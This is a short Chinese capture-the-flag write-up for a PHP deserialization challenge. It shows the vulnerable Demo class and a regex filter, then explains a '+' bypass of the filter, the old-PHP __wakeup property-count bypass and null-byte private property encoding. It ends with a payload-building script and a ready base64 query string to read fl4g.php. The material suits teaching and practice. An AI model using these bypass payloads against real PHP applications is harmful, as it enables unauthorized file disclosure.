反序列化_Web_php_unserialize
Web_php_unserialize 攻防世界
#题目
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
题解
遇到的问题:
> 会进行正则匹配,不允许“o:数字”这样格式的,同时开启大小写
>有__wakeup魔术方法,会强制将file设为index.php
>类属性为私有变量,需要注意空字符
解决:
>对于正则绕过,可以在之间加上一个+符号,O:+2...
>在php5<5.6.25,php7<7.0.10时,存在__weak()漏洞,即:反序列化时object的个数和之前的个数不等时,会快速析构,绕过weakup
>因为类属性为私有,要注意补充空字符,空字符在类名左右两边
<?php
class Demo {
private $file = 'fl4g.php';
}
$a=new Demo;
#echo serialize($a); # O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
$b='O:+4:"Demo":2:{S:10:"\00Demo\00file";s:8:"fl4g.php";}';
echo urlencode(base64_encode($b))
?>
#?var=TzorNDoiRGVtbyI6Mjp7UzoxMDoiXDAwRGVtb1wwMGZpbGUiO3M6ODoiZmw0Zy5waHAiO30%3D
浙公网安备 33010602011771号